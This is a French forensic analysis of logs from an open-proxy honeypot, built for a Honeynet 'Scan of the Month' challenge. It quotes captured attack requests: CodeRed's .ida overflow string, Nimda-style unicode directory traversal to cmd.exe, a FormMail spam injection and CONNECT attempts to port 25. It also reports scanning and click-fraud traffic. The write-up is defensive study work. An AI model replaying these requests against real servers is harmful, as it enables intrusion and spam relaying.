Scan of The Month 31 - Analyse par Christophe GRENIER

Introduction

Les Open Proxy sont un grand problème sur Internet. Non seulement ces serveurs proxy incorrectement sécurisés exposent le réseau interne à des attaques, mais ils peuvent aussi être utilisés pour masquer la véritable origine d'une attaque web. Dans le but de collecter des informations sur ce vecteur d'attaque, le Honeypots: Monitoring and Forensics Project a déployé un serveur web Apache spécialement conçu pour servir de proxy ouvert.

Configuration de proxy Apache

L'article Open Proxy Honeypot décrit la configuration de cette machine. Pour résumer le module mod_proxy est utilisé pour assurer la fonction de proxy, aucune ACL n'est utilisée, le proxy est donc ouvert. De façon à limiter les dommages qu'un pirate pourrait occasionner à l'aide de ce serveur les modules Mod_Dosevasive et Mod_Security. Le premier limite les tentatives de dénis de service et les attaques par brute force, le second permet de mettre en place du filtrage et de l'enregistrement des échanges. Le filtrage utilise les règles de détection d'intrusion de Snort concernant les attaques web.

Les données collectées sont disponibles sur le site de l' Honeynet. Dans le but de ne pas révéler ses coordonnées, son adresse IP a été changé en 192.168.1.103 et le nom du serveur en www.testproxy.net. Cependant, nous verrons qu'il sera possible de retrouver son identité.

Téléchargeons les 25 Mo de l'image apache_logs.tar.gz et vérifions son checksum (c36d39dfd5665a58d7cea06438ceb96d). On peut commencer l'analyse.

Comment les attaquants ont trouvés l'honeyproxy?

[kmaster@christophe logs]$ head -1 error_log
[Tue Mar  9 22:02:41 2004] [info] created shared memory segment #10813446
[kmaster@christophe logs]$ head -1 access_log
195.82.31.125 - - [09/Mar/2004:22:03:09 -0500] "GET http://www.goldengate.hu/cgi-bin/top/topsites.cgi?an12 HTTP/1.0" 200 558
"http://Afrique" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)"

Dans la minute qui a suivi le démarrage du proxy, il était utilisé comme proxy. Il est donc probable qu'a ce moment le serveur était déjà connu comme un proxy ouvert. On peut supposer q'un attaquant a scanné le serveur, découvert qu'il était utilisable comme proxy et l'a ajouté sur un site maintenant une liste de proxy.

[kmaster@christophe logs]$ grep proxy access_log |head
212.160.136.163 - - [09/Mar/2004:22:25:01 -0500] "GET http://www.xboss.us/proxy.html HTTP/1.0" 200 1371 "-" "Mozilla/4.0 (compatible; MSIE 5.02; Windows NT 5.0)"
220.175.18.42 - - [09/Mar/2004:22:47:17 -0500] "GET http://www.samair.ru/proxy/proxychecker/results.htm HTTP/1.0" 200 3931 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
217.82.29.57 - - [09/Mar/2004:22:48:23 -0500] "GET http://proxyjudge.org/prxjdg.cgi HTTP/1.0" 200 1218 "-" "Mozilla/4.0 (compatible; ICS)"
217.82.29.57 - - [09/Mar/2004:22:48:27 -0500] "GET http://proxyjudge.org/prxjdg.cgi HTTP/1.0" 200 1218 "-" "Mozilla/4.0 (compatible; ICS)"
217.82.29.57 - - [09/Mar/2004:22:50:18 -0500] "GET http://proxyjudge.org/prxjdg.cgi HTTP/1.0" 200 1218 "-" "Mozilla/4.0 (compatible; ICS)"
24.235.131.196 - - [09/Mar/2004:22:51:09 -0500] "GET http://24.235.131.196:80/proxyjudge.html HTTP/1.0" 200 219 "-" "Mozilla/3.0 (compatible)"
220.175.18.42 - - [09/Mar/2004:23:02:19 -0500] "GET http://www.samair.ru/proxy/proxychecker/results.htm HTTP/1.0" 200 3923 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)"
220.175.18.42 - - [09/Mar/2004:23:16:00 -0500] "GET http://www.samair.ru/proxy/proxychecker/results.htm HTTP/1.0" 200 3939 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Brow)"
66.36.242.145 - - [09/Mar/2004:23:41:38 -0500] "GET http://www.checker.freeproxy.ru/checker/last_checked_proxies.php HTTP/1.1" 200 17664 "-" "-"
66.36.242.145 - - [09/Mar/2004:23:41:44 -0500] "GET http://onlinechecker.freeproxy.ru/free_proxy_lists.php HTTP/1.1" 200 12416 "-" "-"

Ce qui est assez ironique est que c'est le concepteur même de l'honeyproxy qui a utilisé un proxy check trouvé avec Google qui lui a valu d'être listé comme proxy ouvert.

Quelles sont les différents types d'attaque?

Il y a basiquement les attaques contre le serveur web même et celle utilisant son fonctionnement en proxy. En tout, j'ai identifié plus de 300 attaques différentes.

Les spammers

SnortIDLiensCatégorieNom de l'attaqueExemple
815Nessus 10301
BID2077
arachNIDS 469
CVE-1999-0196
attempted-reconWEB-CGI websendmail access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:09 2004] "GET /cgi-bin/websendmail HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/websendmail] for 50000 ms
----------------------------------------
GET /cgi-bin/websendmail HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/websendmail" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
884arachNIDS 226
CVE-1999-0172
BID1187
Nessus 10076
Nessus 10782
web-application-activityWEB-CGI formmail access
Request: 67.83.151.132 - - [Wed Mar 10 02:58:00 2004] "POST http://www.buckhickman.co.uk/cgi-bin/FormMail.pl HTTP/1.1" 200 578
Handler: proxy-server
Error: mod_security: Invalid character detected [13]
----------------------------------------
POST http://www.buckhickman.co.uk/cgi-bin/FormMail.pl HTTP/1.1
Accept: */*
Connection: Close
Content-Length: 407
Content-Type: application/x-www-form-urlencoded
Host: www.buckhickman.co.uk
Proxy-Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; AIRF; .NET CLR 1.0.3705)
mod_security-action: 200

email=adelinaeo@thenetanywhere.com&realname=adelinaeo@thenetanywhere.com&recipient=<aazual8@aol.com>www.buckhickman.co.uk%2C&subject=11%3A56%3A53%20PM%20Live!++++++++++++d3v39&15=%0D%0A%0D%0A%0A%0A%0A%0A%0A%0A%0D%0Anhs%0D%0A%0D%0Aaazual8%20Visit%20http%3A%2F%2Fconnect.to%2Ffriendscams%20to%20talk%20to%20these%20girls%20LIVE!%0D%0A%0A%0A%0A%0A%0D%0A11%3A56%3A53%20PM%0D%0A3%2F9%2F2004%0A%0A%0A%0A%0A%0A5y3u

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
890scn
BID5286
CAN-2002-0710
attempted-reconWEB-CGI sendform.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:41 2004] "GET /cgi-bin/sendform.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/sendform.cgi
----------------------------------------
GET /cgi-bin/sendform.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=35
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1308attempted-reconWEB-CGI sendmessage.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:40 2004] "GET /cgi-bin/sendmessage.cgi HTTP/1.1" 403 307
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/sendmessage.cgi
----------------------------------------
GET /cgi-bin/sendmessage.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=47
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
Proxy connect
Request: 61.172.244.109 - - [Tue Mar  9 22:08:13 2004] "CONNECT 195.228.231.51:25 HTTP/1.0" 500 434
Handler: proxy-server
Error: The proxy server could not handle the request <EM><A HREF="195.228.231.51:25">CONNECT 195.228.231.51:25</A></EM>.<P>
Reason: <STRONG>Could not connect to remote machine:<br>Connection refused</STRONG>
----------------------------------------
CONNECT 195.228.231.51:25 HTTP/1.0
 
 HTTP/1.0 500 Proxy Error
 Connection: close
 Content-Type: text/html; charset=iso-8859-1

En plus d'exploiter des serveurs SMTP ouverts, les spammers peuvent chercher à exploiter des formulaires d'envoi de message sur des sites web ou des proxy ouverts autorisant les connexions sur le port 25.

Les attaques par brute force

Comme on le verra plus tard, la phase d'authentification peut véhiculer des logins/passwords par trois biais différents: les méthodes GET, les méthodes POST et enfin via un entête Authorization.

Les scans de vulnérabilités

Pas loin de 400 attaques différentes ont été identifiés, elles correspondent à des scans de vulnérabilités pratiqués avec Nessus et Void. Voici un exemple du vendredi 12 avec Nessus:

SnortIDLiensCatégorieNom de l'attaqueExemple
509arachNIDS 300web-application-attackWEB-MISC PCCS mysql database admin tool access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:23 2004] "GET /pccsmysqladm/incs/dbconnect.inc HTTP/1.1" 403 315
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/pccsmysqladm
----------------------------------------
GET /pccsmysqladm/incs/dbconnect.inc HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

Nessus n'a pas vocation à être furtif, il est destiné principalement aux administrateurs voulant auditer la sécurité de leur propre réseau. Et maintenant, une attaque avec VoidEye

SnortIDLiensCatégorieNom de l'attaqueExemple
836CAN-1999-1479attempted-reconWEB-CGI textcounter.pl access
Request: 24.127.175.68 - - [Sat Mar 13 14:34:38 2004] "GET http://38ee.com/members/index.html/cgi-bin/textcounter.pl;Command execution as httpd;by Void; HTTP/1.0" 400 373
Handler: (null)
Error: The request line contained invalid characters following the protocol string.<P>

----------------------------------------
GET http://38ee.com/members/index.html/cgi-bin/textcounter.pl;Command execution as httpd;by Void; HTTP/1.0

HTTP/1.0 400 Bad Request
Connection: close
Content-Type: text/html; charset=iso-8859-1

Le scan Nessus provient de l'adresse IP 217.160.165.173, cela correspond au scan Nessus de http://port-scan.de/ (217.160.72.157). Ce site propose de scanner sa propre machine, mais le pirate a trouver une faille lui permettant de scanner n'importe quelle machine.

Les vers Internet

CodeRed

SnortIDLiensCatégorieNom de l'attaqueExemple
1243CAN-2000-0071
BID1065
arachNIDS 552
web-application-attackWEB-IIS ISAPI .ida attemptRequest: 68.48.205.207 - - [Wed Mar 10 19:14:37 2004] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid URL encoding #2 detected.
----------------------------------------
GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0
Content-length: 3379
Content-type: text/xml
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1

Ce virus exploite une faille IIS pour se propager, certaines versions laisseront des backdoors sur le système.

Nimda

SnortIDLiensCatégorieNom de l'attaqueExemple
981CVE-2000-0884web-application-attackWEB-IIS unicode directory traversal attemptRequest: 68.48.142.117 - - [Tue Mar 9 22:41:41 2004] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid character detected [192]
----------------------------------------
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
982CVE-2000-0884web-application-attackWEB-IIS unicode directory traversal attemptRequest: 68.48.142.117 - - [Tue Mar 9 22:41:34 2004] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid character detected [193]
----------------------------------------
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
983CVE-2000-0884web-application-attackWEB-IIS unicode directory traversal attemptRequest: 68.48.142.117 - - [Tue Mar 9 22:41:42 2004] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid character detected [193]
----------------------------------------
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1002web-application-attackWEB-IIS cmd.exe accessRequest: 68.48.142.117 - - [Tue Mar 9 22:22:57 2004] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/c/winnt/system32/cmd.exe] for 50000 ms
----------------------------------------
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Access denied with code 200. Pattern match "cmd\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1945CVE-2000-0884web-application-attackWEB-IIS unicode directory traversal attemptRequest: 68.48.142.117 - - [Tue Mar 9 22:29:43 2004] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/scripts/..%5c../winnt/system32/cmd.exe] for 50000 ms
----------------------------------------
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Access denied with code 200. Pattern match "cmd\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1256CA-2001-19web-application-attackWEB-IIS CodeRed v2 root.exe accessRequest: 68.48.142.117 - - [Tue Mar 9 22:19:35 2004] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/scripts/root.exe] for 50000 ms
----------------------------------------
GET /scripts/root.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Access denied with code 200. Pattern match "/root\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1

Ce virus exploite plusieurs failles IIS permettant des remontés d'arborescences, il exploite aussi la backdoor root.exe laissé par Code Red II.

Welchia

SnortIDLiensCatégorieNom de l'attaqueExemple
1070arachNIDS 474web-application-activityWEB-MISC webdav search access Request: 68.85.208.96 - - [Wed Mar 10 05:01:52 2004] "SEARCH /<90>^B±^B±^B±^B±^..."
HTTP/1.0 414 Request-URI Too Large
Connection: close
Content-Type: text/html; charset=iso-8859-1

Welchia exploite la vulnérabilité WebDav d'IIS décrite dans MS03-007.

Les arnaques aux bandeaux publicitaires

Les bandeaux publicitaires sont facturés soit au nombre de visiteurs, soit au nombre de personne ayant cliqué. De façon à éviter certains abus ne sont comptés que les adresses IP distinctes ayant vu ou cliqué sur le lien. L'utilisation d'un proxy permet de générer des clics supplémentaires et donc de frauder sur ces liens de façon à générer des bénéfices supplémentaires.

[kmaster@christophe sotm31]$ grep -i click logs/access_log |head
220.173.17.142 - - [09/Mar/2004:22:30:24 -0500] "POST http://www.clickcheaper.com/search.php HTTP/1.1" 200 19044 "http://www.163.net" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)"
220.173.17.142 - - [09/Mar/2004:22:30:26 -0500] "GET http://clickcheaper.com/go.php?b=zhhhzzzizyzohchzhdzy&k=acasadsmayaoac&u=znhpzzzvsaasad&l=acasadsmayaoacdhzkhpspansyassscmcoxoafakssafanshzmzxhyzxhyazsoaxaksxsnsdaxafahavaksmaiakasafaiavaadfskcmzasksiszzyhcsiapayahaxzyzazahddvzdzxszsmzazpzdhfzhzmhszhzvzphhsicixoahsvsfsosyaohvakapsdacfpzphdahaksfdazchnskapszazhdspafahayaoaadpfxfnafscspfkzmzahdzphnsnhhsfsnazscsvakaphmaxaoafdhhchnfihzhnddzmzadkdndyaazfsdzcapakzxskaaafazzkzyzkhxamssadzfzyhpsmhkhsadhfhkzoznzizvcickcphahfsmzisvacakayhphzapspsyashysmspsihdzkzpakszsxzcaiaiadhmazaifyfodkhvavzaaksdspsyhphahxzhavananaihhadhvacsxavhkhchczhzfsvzcaksfspxmdvfpsfsvafansvhvhaaxzdzhzaahhxskazaksvafhpsxahsnznsdayscasaksyhcskdxdhxxzmzhavapakaa&s=axsssismazfp&t= HTTP/1.1" 302 0 "http://www.clickcheaper.com/search.php" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)"
220.173.17.142 - - [09/Mar/2004:22:30:29 -0500] "GET http://clickcheaper.com/go.php?u=znhpzzzvsaasad&l=acasadsmayaoacdhzkhpspansyassscmcoxoafakssafanshzmzxhyzxhyazsoaxaksxsnsdaxafahavaksmaiakasafaiavaadfskcmzasksiszzyhcsiapayahaxzyzazahddvzdzxszsmzazpzdhfzhzmhszhzvzphhsicixoahsvsfsosyaohvakapsdacfpzphdahaksfdazchnskapszazhdspafahayaoaadpfxfnafscspfkzmzahdzphnsnhhsfsnazscsvakaphmaxaoafdhhchnfihzhnddzmzadkdndyaazfsdzcapakzxskaaafazzkzyzkhxamssadzfzyhpsmhkhsadhfhkzoznzizvcickcphahfsmzisvacakayhphzapspsyashysmspsihdzkzpakszsxzcaiaiadhmazaifyfodkhvavzaaksdspsyhphahxzhavananaihhadhvacsxavhkhchczhzfsvzcaksfspxmdvfpsfsvafansvhvhaaxzdzhzaahhxskazaksvafhpsxahsnznsdayscasaksyhcskdxdhxxzmzhavapakaa&k=acasadsmayaoac&b=zhhhzzzizyzohchzhdzy&s=axsssismazfp&x=&t=&tw=&f=85e9b5a1ba9a613de01a0d3c470f76bb HTTP/1.1" 302 0 "http://www.clickcheaper.com/search.php" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)"
220.173.17.142 - - [09/Mar/2004:22:30:30 -0500] "GET http://www.epilot.com/click.aspx?k=cruises&b=820&p=kanoodle&s=seeky&pos=3&sid=ee77ec1d-5211-4508-a48f-27dcf3865349&l=http%3A%2F%2Fwww.kanoodle.com%2Fclickthrough.cool%3Feid%3D1%26clickid%3D12486486%26id%3D77840372%26lid%3Dbhnnbinnbknobonkbmngbknjbonnbmni%26query%3Dcruises HTTP/1.1" 302 387 "http://www.clickcheaper.com/search.php" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)"
220.173.17.142 - - [09/Mar/2004:22:30:33 -0500] "GET http://www.kanoodle.com/clickthrough.cool?eid=1&clickid=12486486&id=77840372&lid=bhnnbinnbknobonkbmngbknjbonnbmni&query=cruises HTTP/1.1" 301 320 "http://www.clickcheaper.com/search.php" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)"

L'honeyproxy est contacté par le même adresse IP pour générer les fameux clicks.

Les connexions IRC

Il semblerait que certaines personnes cherchent à masquer leur adresse IP soit afin de conserver un relatif anonymat, soit pour éviter que leur point de connexion réel ne soit la cible de déni de service.

SSL et l'honeyproxy

La méthode CONNECT a été utilisé pour se connecter sur des serveurs HTTPS. Des téléchargements ont été testés avec le logiciel de peer-to-peer MLDonkey, le pirate utilisant le proxy cherche sans doute à télécharger sans craindre que son identité ne soit révéler à la RIAA.

$ grep CONNECT logs/access_log |cut -d\" -f2-|cut -d: -f2|sort -n -u
8 HTTP/1.1" 400 381 "-" "MLDonkey 2.5-12"
21 HTTP/1.0" 403 291 "-" "Mozilla/4.0"
25 HTTP/1.0" 500 434 "-" "-"
43 HTTP/1.1" 400 381 "-" "-"
80 HTTP/1.0" 200 - "-" "-"
110 HTTP/1.0" 403 293 "-" "-"
119 HTTP/1.0" 403 288 "-" "-"
443 HTTP/1.0" 200 - "-" "-"
802 HTTP/1.0" 403 289 "-" "-"
1234 HTTP/1.0" 403 314 "-" "-"
2019 HTTP/1.1" 400 381 "-" "-"
2048/ HTTP/1.1" 400 346 "-" "-"
3777 HTTP/1.0" 403 286 "-" "-"
4141 HTTP/1.1" 400 381 "-" "MLDonkey 2.5-12"
4400 HTTP/1.0" 403 290 "-" "-"
4661 HTTP/1.1" 400 381 "-" "MLDonkey 2.5-12"
5050 HTTP/1.0" 403 293 "-" "-"
5440 HTTP/1.1" 400 381 "-" "MLDonkey 2.5-12"
5849 HTTP/1.1" 400 381 "-" "MLDonkey 2.5-12"
6112 HTTP/1.0" 403 293 "-" "-"
6537 HTTP/1.1" 400 381 "-" "MLDonkey 2.5-12"
6601 HTTP/1.0" 403 285 "-" "-"
6660 HTTP/1.0" 403 302 "-" "-"
6661 HTTP/1.0" 403 304 "-" "-"
6662 HTTP/1.0" 403 297 "-" "-"
6663 HTTP/1.0" 403 289 "-" "-"
6664 HTTP/1.0" 403 302 "-" "-"
6665 HTTP/1.0" 403 295 "-" "-"
6666 HTTP/1.0" 200 - "-" "-"
6667 HTTP/1.0" 500 434 "-" "-"
6668 HTTP/1.0" 403 290 "-" "pxyscand/2.0"
6669 HTTP/1.0" 403 291 "-" "-"
6687 HTTP/1.0" 403 286 "-" "-"
6716 HTTP/1.0" 403 294 "-" "-"
6909 HTTP/1.0" 403 294 "-" "-"
7000 HTTP/1.0" 403 300 "-" "-"
7001 HTTP/1.0" 403 297 "-" "-"
7300 HTTP/1.0" 403 290 "-" "-"
7777 HTTP/1.0" 403 289 "-" "-"
7999 HTTP/1.1" 400 381 "-" "-"
8080 HTTP/1.1" 400 381 "-" "-"
8666 HTTP/1.0" 403 291 "-" "-"
9000 HTTP/1.0" 403 290 "-" "-"
11111 HTTP/1.0" 403 290 "-" "-"
25136 HTTP/1.0" 403 291 "-" "-"
63210 HTTP/1.0" 403 298 "-" "-"

HTTPS a comme avantage par rapport au HTTP d'être crypté et ainsi d'échapper aux sondes de détection d'intrusion sans oublier que la partie crypto elle-même peut présenter des failles:

[Sat Mar 13 08:30:48 2004] [error] mod_ssl: SSL handshake failed (server www.ssltestproxy.net:443, client 80.196.149.199) (OpenSSL library error follows)
[Sat Mar 13 08:30:48 2004] [error] OpenSSL: error:1406B458:SSL routines:GET_CLIENT_MASTER_KEY:master key too long

L'OpenSSL SSLv2 handshake bug CAN-2002-0656 a été testé contre l' honeyproxy. Son exploitation aurait permis à l'attaquant de devenir utilisateur apache et de là tenter d'exploiter une faille locale sans doute une faille kernel pour devenir root. Mais le noyau inclut les derniers correctifs.

Les attaquants chaînent-ils le proxy ?

L'entête X-Forwarded-For est rajouté par les proxys.

Request: 220.173.17.142 - - [Tue Mar  9 22:30:24 2004] "POST http://www.clickcheaper.com/search.php HTTP/1.1" 200 19044
Handler: proxy-server
----------------------------------------
POST http://www.clickcheaper.com/search.php HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Content-Length: 33
Content-Type: application/x-www-form-urlencoded
Host: www.clickcheaper.com
Pragma: no-cache
Referer: http://www.163.net
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
X-Forwarded-For: 205.216.128.48
mod_security-message: Access denied with code 200. Pattern match "/search" at THE_REQUEST.

username=hui4188&keywords=Cruises

HTTP/1.1 200 OK
Accept-Ranges: bytes
X-Powered-By: PHP/4.2.2
Set-Cookie: uid=188830086; expires=Fri, 09-Apr-04 05:25:43 GMT
Content-Type: text/html; charset=ISO-8859-1
X-Cache: MISS from www.testproxy.net
Transfer-Encoding: chunked

Les pirates semblent donc chaîner les proxy. Pour vérifier leur status de proxy, j'ai vérifié leur présence dans les blacks listes list.dsbl.org, relays.ordb.org, sbl-xbl.spamhaus.org, dnsbl.njabl.org, dnsbl.sorbs.net.

61.55.32.129dsbl.org
61.55.34.128dsbl.org
open proxy -- 1075524003 (dnsbl.njabl.org)
61.144.119.66open proxy -- 1078050004 (dnsbl.njabl.org)
Dynamic IP Address See: www.dnsbl.sorbs.net
61.171.12.185www.spamhaus.org
Dynamic IP Address See: www.dnsbl.sorbs.net
Spam Received See: www.dnsbl.sorbs.net
61.171.13.36www.spamhaus.org
Dynamic IP Address See: www.dnsbl.sorbs.net
Spam Received See: www.dnsbl.sorbs.net
61.171.13.151www.spamhaus.org
Spam Received See: www.dnsbl.sorbs.net
Dynamic IP Address See: www.dnsbl.sorbs.net
61.171.13.172www.spamhaus.org
Spam Received See: www.dnsbl.sorbs.net
Dynamic IP Address See: www.dnsbl.sorbs.net
61.171.15.154www.spamhaus.org
Spam Received See: www.dnsbl.sorbs.net
Dynamic IP Address See: www.dnsbl.sorbs.net
61.171.15.201www.spamhaus.org
Spam Received See: www.dnsbl.sorbs.net
Dynamic IP Address See: www.dnsbl.sorbs.net
61.171.134.148dsbl.org
open proxy -- 1063236004 (dnsbl.njabl.org)
HTTP Proxy See: www.dnsbl.sorbs.net
Spam Received See: www.dnsbl.sorbs.net
Dynamic IP Address See: www.dnsbl.sorbs.net
61.173.46.23www.spamhaus.org
www.spamhaus.org
Dynamic IP Address See: www.dnsbl.sorbs.net
61.179.12.121www.spamhaus.org
61.233.11.29dsbl.org
Dynamic IP Address See: www.dnsbl.sorbs.net
61.235.153.1www.spamhaus.org
Dynamic IP Address See: www.dnsbl.sorbs.net
Exploitable Server See: www.dnsbl.sorbs.net
61.236.192.227www.spamhaus.org
Dynamic IP Address See: www.dnsbl.sorbs.net
61.237.215.17www.spamhaus.org
Dynamic IP Address See: www.dnsbl.sorbs.net
80.54.241.22dsbl.org
195.82.27.46dsbl.org
Dynamic IP Address See: www.dnsbl.sorbs.net
202.109.116.209www.spamhaus.org
www.spamhaus.org
210.21.209.251www.spamhaus.org
211.158.126.117www.spamhaus.org
Dynamic IP Address See: www.dnsbl.sorbs.net
218.2.202.54dsbl.org
open proxy -- 1078369207 (dnsbl.njabl.org)
Dynamic IP Address See: www.dnsbl.sorbs.net
218.21.83.16dsbl.org
open proxy -- 1055929203 (dnsbl.njabl.org)
SOCKS Proxy See: www.dnsbl.sorbs.net
218.56.8.160www.spamhaus.org
218.88.3.112dsbl.org
open proxy -- 1067772002 (dnsbl.njabl.org)
HTTP Proxy See: www.dnsbl.sorbs.net
218.88.12.113dsbl.org
open proxy -- 1079193606 (dnsbl.njabl.org)
HTTP Proxy See: www.dnsbl.sorbs.net
SOCKS Proxy See: www.dnsbl.sorbs.net
218.93.59.83dsbl.org
open proxy -- 1063016407 (dnsbl.njabl.org)
Dynamic IP Address See: www.dnsbl.sorbs.net
HTTP Proxy See: www.dnsbl.sorbs.net
SOCKS Proxy See: www.dnsbl.sorbs.net
218.242.112.115dsbl.org
open proxy -- 1059201605 (dnsbl.njabl.org)
HTTP Proxy See: www.dnsbl.sorbs.net
SOCKS Proxy See: www.dnsbl.sorbs.net
Spam Received See: www.dnsbl.sorbs.net
219.139.29.234dsbl.org
www.spamhaus.org
open proxy -- 1081218005 (dnsbl.njabl.org)
SOCKS Proxy See: www.dnsbl.sorbs.net
Spam Received See: www.dnsbl.sorbs.net
HTTP Proxy See: www.dnsbl.sorbs.net
219.153.118.186www.spamhaus.org
www.spamhaus.org
Spam Received See: www.dnsbl.sorbs.net
220.175.17.226www.spamhaus.org
Spam Received See: www.dnsbl.sorbs.net
220.175.19.66www.spamhaus.org
Spam Received See: www.dnsbl.sorbs.net
220.185.150.168www.spamhaus.org
Dynamic IP Address See: www.dnsbl.sorbs.net
220.185.153.45dsbl.org
Dynamic IP Address See: www.dnsbl.sorbs.net

